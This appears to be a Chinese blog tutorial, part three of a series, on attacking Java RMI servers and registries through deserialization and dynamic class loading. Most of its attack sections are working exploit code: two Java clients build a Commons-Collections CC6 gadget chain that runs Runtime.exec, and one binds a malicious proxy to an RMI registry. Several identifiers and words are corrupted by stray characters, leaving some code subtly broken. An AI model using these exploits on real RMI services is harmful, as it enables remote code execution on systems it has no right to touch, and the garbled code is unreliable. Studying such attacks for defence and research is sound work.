AI智能
改变未来

Java RMI学习与解读(三)


Java RMI学习与解读(三)

写在前面

接下来这篇就是最感兴趣的Attack RMI部分了。

前面也说过,RMI的通信过程会用到反序列化,那么针对于RMI的三个角色: Server/Regisrty/Client 都存在攻击方法,接下来解读与学习这一部分。

引用下su18师傅文章中RMI部分的RMI执行流程图,因为后面学习RMI的攻击方式还是需要对RMI的执行流程很清楚才可以

Attack RMI

攻击Server端

0x01 恶意传参

其实这个思路简单点说,就是在远程接口(RemoteInterface)中声明了一个方法,该方法的参数是一个对象(Object类型),那么在我们RMI时,传入一个自定义的恶意对象,在RMI通信时序列化,在Server端触发反序列化,且Server端存在一些Gadget就可以实现RCE。

这里有一个上一篇文章没细跟的点,我们知道反序列化操作在RMI时是被封装到了

unmashralValue

方法中,该方法位于

rt.jar!/sun/rmi/server/UnicastRef.class

中,只要不是八大基本类型的参数,最终都会反序列化(比如String,数组,以及基本数据类型的封装类如Interger,这些都会被反序列化)所以说这个方法的参数类型不一定必须为Object。

下面还是选用Object类型

pom.xml加入CC或其他Gadget可RCE的,这里用的CC6

RemoteInterface

String attackServer(Object object) throws RemoteException;

RemoteObject

@Overridepublic String attackServer(Object object) throws RemoteException {return \"In attackServer Method!\";}

RMIClient

public class RMIClient3 {public static void main(String[] args) throws Exception {//创建注册中心对象Registry registry = LocateRegistry.getRegistry(\"127.0.0.1\", 1099);//打印注册中心中的远程对象别名listSystem.out.println(Arrays.toString(registry.list()));//通过别名获取远程对象存根stub并调用远程对象的方法RemoteInterface stub = (RemoteInterface) registry.lookup(\"Zh1z3ven\");System.out.println(\"[INFO] RegistryServer: \" + stub.attackServer(evilObject()));}public static Object evilObject() throws Exception {Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(\"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", new Class[]{}}),new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"open -a Calculator\"})};Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, Testtransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, \"test1\");HashSet hashSet = new HashSet(1);hashSet.add(tiedMapEntry);lazyMap.remove(\"test1\");//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令Field field =56cChainedTransformer.class.getDeclaredField(\"iTransformers\");field.setAccessible(true);field.set(Testtransformer, transformers);return hashSet;}}

大致流程为

RemoteInterface接口存在参数类型为Object的方法Client端 ==>  将作为参数的对象进行序列化(通过远程对象的引用也可以说是代理对象) ==> Server端 ==> 反序列化该参数(readObject) ==> 进入Gadget

那么这里有一个细节就是我们产生恶意类的方法的返回值(Object evilObject())与RemoteInterface中定义的方法的参数类型都为Object,这里是没有问题的。但是当传参的类型与我们传入的类型不一致时,比如RemoteInterface接口定义的是A类型,我们传入的是B类型,虽然都是传入的对象,但在Server端会抛出找不到该方法的异常,因为传入的参数类型与接口定义的方法不匹配。

这里有4种解决方法,仅复现第4种

  • 通过网络代理,在流量层修改数据
  • 自定义 “java.rmi” 包的代码,自行实现
  • 字节码修改
  • 使用 debugger

首先我们在Read8moteInterface接口中重载attackServer方法,方法的参数为Client端不存在的类(ServerObject), 在RemoteObjectInvocationHandler 的

invokeRemoteMethod

方法处下断点,将

method

所代表的方法中的参数值类型改为服务端存在

ServerObject.class

再去触发反序列化即可。

RMI-Server/RemoteInterface

RMI-Server/RemoteObject

将之前的attackServer方法内容注释掉

RMI-Client/RemoteInterface

同时写上这两个方法且创建ServerObject类

可以尝试先直接运行Client端 会抛出异常

我们这里在

java/rmi/server/RemoteObjectInvocationHandler.java

invokeRemoteMethod

方法下断点

debug,更改method的值

弹出计算器

回头看看这个利用手法的限制:

  1. 已知RemoteInterface且其中存在某方法的参数类型为对象
  2. 这个对象的模版类已知
  3. 存在反序列化Gadget且可利用

0x02 动态加载

前面也提到了RMI支持动态加载,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。

当时提到了两个场景,分别是Client端加载Server端和Server端加载Client端。这里用到的就是Server端加载Client端。

通过

java.rmi.server.codebase

属性设置

rmi

协议的URL,让Server端加载指定URL下的恶意类完成RCE。

当然使用动态类加载依然有使用前提:

  1. Server端设置RMISecurityManager作为安全管理器(SecurityManager)
  2. Server端属性 java.rmi.server.useCodebaseOnly 的值必须为false(JDK 6u45、7u21之前默认为false)
  3. serialVersionUID ,这个点是个人想到的,如果UID不15a8一样导致反序列化失败如何解决?

动态加载时用的是

loadClass

方法加载

.class

文件,但是调用方法时是在远程Server端而本地Client端是拿到的方法执行后的返回值。那如何利用呢?

这里想到个不太现实的场景:Server端的RemoteObject中实现的方法会去将我们传入的远程对象进行

newInstance

操作,触发静态代码块中代码执行。那么可控点出来了,我们在Client端上的远程类构造CC poc(或其他任意RCE的)写入静态代码块。达到远程代码执行orRCE。

但是这里有新问题:

  1. 真的有这种场景嘛?(感觉基本实战遇不到)
  2. 因为Server端只会loadClass并不会进行反序列化(所以在静态代码块中就要完成readObject的操作),即使我们不是CC poc,只是写了Runtime.exec去执行命令,如何避免本地触发命令执行呢?

RemoteInterface

String attackServerLoadClass(Object object) throws RemoteException;

RemoteObject

@Overridepublic String attackServerLoadClass(Object object) throws RemoteException {try {object.getClass().newInstance();} catch (InstantiationException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return object.getClass().getName();}

其他部分基本和之前动态加载代码没啥区别,恶意类的话,在静态代码块写入CC poc或runtime.exec()弹calc即可

这么来看针对于Server端的攻击,可能性高的还是RemoteInterface中声明的方法其中有以对象作为参数的,因为Server端会对传入的参数进行反序列化达到RCE(需要有已知Gadget)

攻击Registry

关于Registry其实就是Server端在绑定(bind)name与远程对象时,Server端序列化传输远程对象到Registry,Registry在进行反序列化从而进入Gadget。当然bind方法只是其中一个可以进入反序列化的点,同样的还有list/lookup/rebind/unbind,只不过可控的传参类型有些区别,比如lookup是可控string类型,bind则是Object就会在构造poc上更方便些。

RegistryServer

public class RegistryServer5 {public static void main(String[] args) {try {//创建RegistryRegistry registry = LocateRegistry.createRegistry(1099);//实例化远程对象类,创建远程对象RemoteObject remoteObject = new RemoteObject();//通过Naming类绑定别名与 RemoteObjectNaming.bind(\"rmi://127.0.0.1:1099/Zh1z3ven\", remoteObject);//通过Naming类绑定别名与 RemoteObjectSystem.out.println(\"RegistryServer Start ...\");System.out.println(\"Registry List: \" + Arrays.toString(registry.list()));} catch (Exception e) {e.printStackTrace();}}}

AttackRegisrty

public class AttackRMIRegistry {public static void main(String[] args) throws Exception {// 使用AnnotationInvocationHandler做动态代理Class<?> aClass = Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");Constructor<?> constructor = aClass.getDeclaredConstructors()[0];constructor.setAccessible(true);HashMap<String, Object> map = new HashMap<String, Object>();map.put(\"zh1z3ven\", evilObject());InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class,}, invocationHandler);// 获取RegistryRegistry registry = LocateRegistry.getRegistry(\"127.0.0.1\", 1099);registry.unbind(\"zh1z3ven2\");registry.bind(\"zh1z3ven2\", remote);System.out.println(\"RegistryServer List: \" + Arrays.toString(registry.list()));}public static Object evilObject() throws Exception {Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(\"getMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", new Class[]{}}),new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"open -a Calculator\"})};Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, Testtransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, \"test1\");HashSet hashSet = new HashSet(1);hashSet.add(tiedMapEntry);lazyMap.remove(\"test1\");//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令Field field = ChainedTransformer.class.getDeclaredField(\"iTransformers\");field.setAccessible(true);field.set(Testtransformer, transad8formers);return hashSet;}}

END

当然还有很多手法这里没记录,比如DGC层反序列化,攻击Client端,BypassJEP290,RMI相关Gadget,BaRMIe工具解读都还没有做,后面遇到了再分析。深感学习RMI吃力,下面列一些参考文章,感兴趣的师傅可以深入研究下。

Reference

https://su18.org/post/rmi-attack/

https://xz.aliyun.com/t/7930

https://xz.aliyun.com/t/7932

https://mp.weixin.qq.com/s/M_-lWKb9xO6u2MxRaEQ–Q

赞(0) 打赏
未经允许不得转载:爱站程序员基地 » Java RMI学习与解读(三)